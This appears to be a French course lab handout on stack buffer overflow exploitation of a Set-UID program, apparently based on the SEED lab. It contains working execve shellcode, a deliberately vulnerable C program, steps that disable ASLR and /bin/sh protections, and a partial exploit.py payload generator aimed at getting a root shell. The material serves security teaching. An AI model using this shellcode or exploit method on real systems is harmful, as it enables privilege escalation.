TP 5
Attaque par débordement de tampon (*Buffer overflow attack*)
« Version Set-UID »

1. Introduction

Le débordement de tampon se produit lorsqu'un programme écrit des données au-delà de la capacité d'un tampon, ce qui permet d'écraser des zones mémoire voisines et de détourner le flux d'exécution.

Objectifs du TP :

- Comprendre concrètement la vulnérabilité de **débordement de tampon** et son impact sur le contrôle de flux.
- Savoir **exploiter** un débordement de pile pour exécuter du code arbitraire et élever ses privilèges (jusqu'à root).
- Découvrir et analyser les **mécanismes de protection** (ASLR, pile non exécutable, StackGuard, etc.).

Environnement de laboratoire : VM SEED Ubuntu 20.04.

2. Configuration de l'environnement

Les systèmes d'exploitation modernes possèdent plusieurs mécanismes de sécurité pour rendre difficile l'attaque par débordement de tampon. Pour simplifier nos attaques, nous devons d'abord les désactiver. Ensuite, nous les activerons et verrons si notre attaque peut encore réussir ou non.

- **Randomisation de l'espace d'adressage :**

Ubuntu et plusieurs autres systèmes basés sur Linux utilisent la randomisation de l'espace d'adressage pour randomiser l'adresse de départ du tas et de la pile. Cela rend difficile de deviner les adresses exactes ; deviner les adresses est l'une des étapes critiques des attaques par débordement de tampon. Cette fonctionnalité peut être désactivée à l'aide de la commande suivante :

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

- **Configuration de /bin/sh :**

Dans les versions récentes d'Ubuntu, le lien symbolique /bin/sh pointe vers le shell /bin/dash. Le programme dash, ainsi que bash, implémente une contre-mesure de sécurité qui s'empêche de s'exécuter dans un processus Set-UID. Fondamentalement, s'ils détectent qu'ils sont exécutés dans un

processus Set-UID, ils changeront immédiatement l'ID utilisateur effectif en ID utilisateur réel du processus, abandonnant essentiellement le privilège.

Étant donné que notre programme victime est un programme Set-UID et que notre attaque repose sur l'exécution de /bin/sh, la contre-mesure dans /bin/dash rend notre attaque plus difficile. Par conséquent, nous allons lier /bin/sh à zsh, un autre shell qui n'a pas une telle contre-mesure. La commande suivante peut être utilisée pour lier /bin/sh à zsh :

```
$ sudo ln -sf /bin/zsh /bin/sh
```

- **StackGuard et pile non exécutable :**

Il s'agit de deux contre-mesures supplémentaires mises en œuvre dans le système. Ces deux mesures seront désactivées lors de la compilation du programme vulnérable.

3. Application

Les fichiers nécessaires pour ce laboratoire sont inclus dans le dossier Labsetup.zip.

3.1. Tâche 1 : Se familiariser avec le Shellcode

Le but ultime des attaques par débordement de tampon est d'injecter du code malveillant dans le programme cible, afin que le code puisse être exécuté en utilisant le privilège du programme cible. Le Shellcode est largement utilisé dans la plupart des attaques par injection de code.

3.1.1 La version C de Shellcode

Un shellcode est essentiellement un morceau de code qui lance un shell. Si nous utilisons du code C pour l'implémenter, cela ressemblera à ceci :

```
#include <stdio.h>
int main()
{
        char *name[2];
        name[0] = "/bin/sh";
        name[1] = NULL;
        execve(name[0], name, NULL);
}
```

Malheureusement, nous ne pouvons pas simplement compiler ce code et utiliser le code binaire comme notre shellcode. La meilleure façon d'écrire un shellcode est d'utiliser un code assembleur. Dans ce labo, la version binaire d'un shellcode est fournie, sans expliquer son fonctionnement.

3.1.2. Shellcode 32 bits

Le shellcode ci-dessous invoque essentiellement l'appel système execve() pour exécuter /bin/sh.

```
; Store the command on stack
xor  eax, eax
push eax
push "//sh"
push "/bin"
mov  ebx, esp     ; ebx --> "/bin//sh": execve()'s 1st argument

; Construct the argument array argv[]
push eax          ; argv[1] = 0
push ebx          ; argv[0] --> "/bin//sh"
mov  ecx, esp     ; ecx --> argv[]: execve()'s 2nd argument

; For environment variable
xor  edx, edx     ; edx = 0: execve()'s 3rd argument

; Invoke execve()
xor  eax, eax     ;
mov  al,  0x0b    ; execve()'s system call number
int  0x80
```

- La troisième instruction pousse "//sh", plutôt que "/sh" dans la pile. C'est parce que nous avons besoin d'un nombre de 32 bits ici, et "/sh" n'a que 24 bits. Heureusement, "//" est équivalent à "/", nous pouvons donc nous en sortir avec un symbole à double barre oblique.
- Nous devons passer trois arguments à execve() via les registres ebx, ecx et edx, respectivement. La majorité du shellcode construit essentiellement le contenu de ces trois arguments.
- L'appel système execve() est appelé lorsque nous définissons *al* sur *0x0b* et exécutons "*int 0x80*".

3.1.3. Shellcode 64 bits

Un exemple de shellcode 64 bits est fourni dans ce qui suit. Il est assez similaire au shellcode 32 bits, sauf que les noms des registres sont différents et que les registres utilisés par l'appel système execve() sont également différents. Une explication globale du code est donnée dans les commentaires.

```
xor  rdx, rdx        ; rdx = 0: execve()'s 3rd argument
push rdx
mov  rax, '/bin//sh' ; the command we want to run
push rax             ;
mov  rdi, rsp        ; rdi --> "/bin//sh": execve()'s 1st argument
push rdx             ; argv[1] = 0
push rdi             ; argv[0] --> "/bin//sh"
mov  rsi, rsp        ; rsi --> argv[]: execve()'s 2nd argument
xor  rax, rax
mov  al,  0x3b       ; execve()'s system call number
syscall
```

3.1.4. Invocation du Shellcode

Le code binaire généré à partir du code assembleur ci-dessus est placé dans un programme C appelé *call_shellcode.c* à l'intérieur du dossier *shellcode*. Dans cette tâche, nous allons tester le shellcode.

Le code ci-dessous comprend deux copies du shellcode, l'une en 32 bits et l'autre en 64 bits. Lorsque nous compilons le programme en utilisant le drapeau -m32, la version 32 bits sera utilisée ; sans cet indicateur, la version 64 bits sera utilisée. Vous pouvez compiler le code en utilisant le Makefile fourni. Deux binaires seront créés, a32.out (32 bits) et a64.out (64 bits).

- Exécutez-les et décrivez vos observations.

A noter que la compilation utilise l'option execstack qui permet d'exécuter du code depuis la pile ; sans cette option, le programme échouera.

Code 1: call_shellcode.c

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char shellcode[] =
#if __x86_64__
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;

int main(int argc, char **argv)
{
   char code[500];

   strcpy(code, shellcode); // Copy the shellcode to the stack
   int (*func)() = (int(*)())code;
   func();                  // Invoke the shellcode from the stack
   return 1;
}
```

3.2. Tâche 2 : Comprendre le programme vulnérable

Le programme vulnérable utilisé dans ce labo s'appelle *stack.c*, qui se trouve dans le dossier *code*. Ce programme a une vulnérabilité de débordement de tampon, et votre travail consiste à exploiter cette vulnérabilité et à obtenir le privilège root. Le code donné ci-dessous contient des informations non essentielles supprimées, il est donc légèrement différent du fichier de configuration du labo.

Code 2: Le programme vulnérable (stack.c)

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>




#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

Le programme ci-dessus a une vulnérabilité de débordement de tampon. Il lit d'abord une entrée d'un fichier appelé *badfile*, puis passe cette entrée à un autre tampon dans la fonction *bof()*. L'entrée d'origine peut avoir une longueur maximale de 517 octets, mais le tampon dans *bof()* ne fait que BUF_SIZE octets, ce qui est inférieur à 517. Comme strcpy() ne vérifie pas les limites, un débordement de tampon se produira. Étant donné que ce programme est un programme Set-UID appartenant à root, si un utilisateur normal peut exploiter cette vulnérabilité de dépassement de mémoire tampon, Il peut être en mesure d'obtenir un shell root.

Il convient de noter que le programme obtient son entrée à partir d'un fichier appelé *badfile*. Ce fichier est sous le contrôle des utilisateurs. Maintenant, l'objectif est de créer le contenu de *badfile*, de sorte que lorsque le programme vulnérable copie le contenu dans son tampon, un shell root peut être généré.

Compilation :

Pour compiler le programme vulnérable ci-dessus, n'oubliez pas de désactiver StackGuard et les protections de pile non exécutables à l'aide des options "-fno-stack-protector" et "-z execstack".

Après la compilation, nous devons faire du programme un programme Set-UID appartenant au root. Nous pouvons y parvenir en changeant d'abord la propriété du programme en root (1), puis en changeant l'autorisation en 4755 pour activer le bit Set-UID (2).

Il convient de noter que le changement de propriété doit être effectué avant d'activer le bit Set-UID, sinon le bit Set-UID sera désactivé.

```
$ gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack (1)
$ sudo chmod 4755 stack (2)
```

N.B. Les commandes de compilation et de configuration sont déjà incluses dans Makefile.

3.3. Tâche 3 : Lancer une attaque sur un programme 32 bits (niveau 1)

3.3.1 Etude

Pour exploiter la vulnérabilité de débordement de tampon dans le programme cible, la chose la plus importante à connaître est la distance entre la position de départ du tampon et l'endroit où l'adresse de retour est stockée. Nous allons utiliser une méthode de débogage pour la découvrir. Puisque nous avons le code source du programme cible, nous pouvons le compiler avec le drapeau de débogage activé. Cela facilitera le débogage.

Nous ajouterons l'indicateur -g à la commande gcc, afin que les informations de débogage soient ajoutées au binaire. Si vous exécutez make, la version de débogage est déjà créée.

Dans ce qui suit, nous utiliserons *gdb* pour déboguer *stack-L1-dbg*. Nous devons créer un fichier appelé *badfile* avant d'exécuter le programme.

```
$ touch badfile → Create an empty badfile
$ gdb stack-L1-dbg
gdb-peda$ b bof → Set a break point at function bof()
Breakpoint 1 at 0x124d: file stack.c, line 18.
gdb-peda$ run → Start executing the program
...
Breakpoint 1, bof (str=0xffffcf57 ...) at stack.c:18
18 {
gdb-peda$ next → See the note below
...
22 strcpy(buffer, str);
gdb-peda$ p $ebp → Get the ebp value
$1 = (void *) 0xffffdfd8
gdb-peda$ p &buffer → Get the buffer's address
$2 = (char (*)[100]) 0xffffdfac
gdb-peda$ quit → exit
```

Note 1. Lorsque gdb s'arrête dans la fonction *bof*(), il s'arrête avant que le registre ebp ne soit défini pour pointer vers le cadre de pile actuel, donc si nous affichons la valeur de ebp ici, nous obtiendrons la valeur ebp de l'appelant. Nous avons besoin d'utiliser *next* pour exécuter quelques instructions et s'arrêter après la modification du registre ebp pour pointer vers le cadre de pile de la fonction *bof*().

Note 2. Il convient de noter que la valeur du pointeur de cadre obtenue à partir de gdb est différente de celle obtenue lors de l'exécution réelle (sans gdb). C'est parce que gdb a poussé certaines données d'environnement dans la pile avant d'exécuter le programme débogué. Lorsque le programme s'exécute directement sans gdb, la pile n'a pas ces données, donc la valeur réelle du pointeur de cadre sera plus grande. Vous devez garder cela à l'esprit lors de la construction de votre charge utile.

3.3.2 Lancer l'attaque

Pour exploiter la vulnérabilité de débordement de tampon dans le programme cible, nous devons préparer une charge utile (payload) et l'enregistrer dans *badfile*. Nous utilisons pour cela un programme Python appelé *exploit.py* qui est inclus dans le fichier de configuration du labo. Le code est incomplet et vous devez remplacer certaines valeurs essentielles du code.

Code 3: exploit.py

```
#!/usr/bin/python3
import sys

shellcode= (
  ""                    # ☆ Need to change ☆
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 0               # ☆ Need to change ☆
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x00           # ☆ Need to change ☆
offset = 0              # ☆ Need to change ☆

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

- Après avoir complété le programme ci-dessus, exécutez-le. Cela générera le contenu de *badfile*.
- Exécutez ensuite le programme vulnérable *Stack*. Si votre exploit est correctement implémenté, vous devriez pouvoir obtenir un shell root :

  $ ./exploit.py // create the badfile

  $ ./stack-L1 // launch the attack by running the vulnerable program

  # … // you've got a root shell !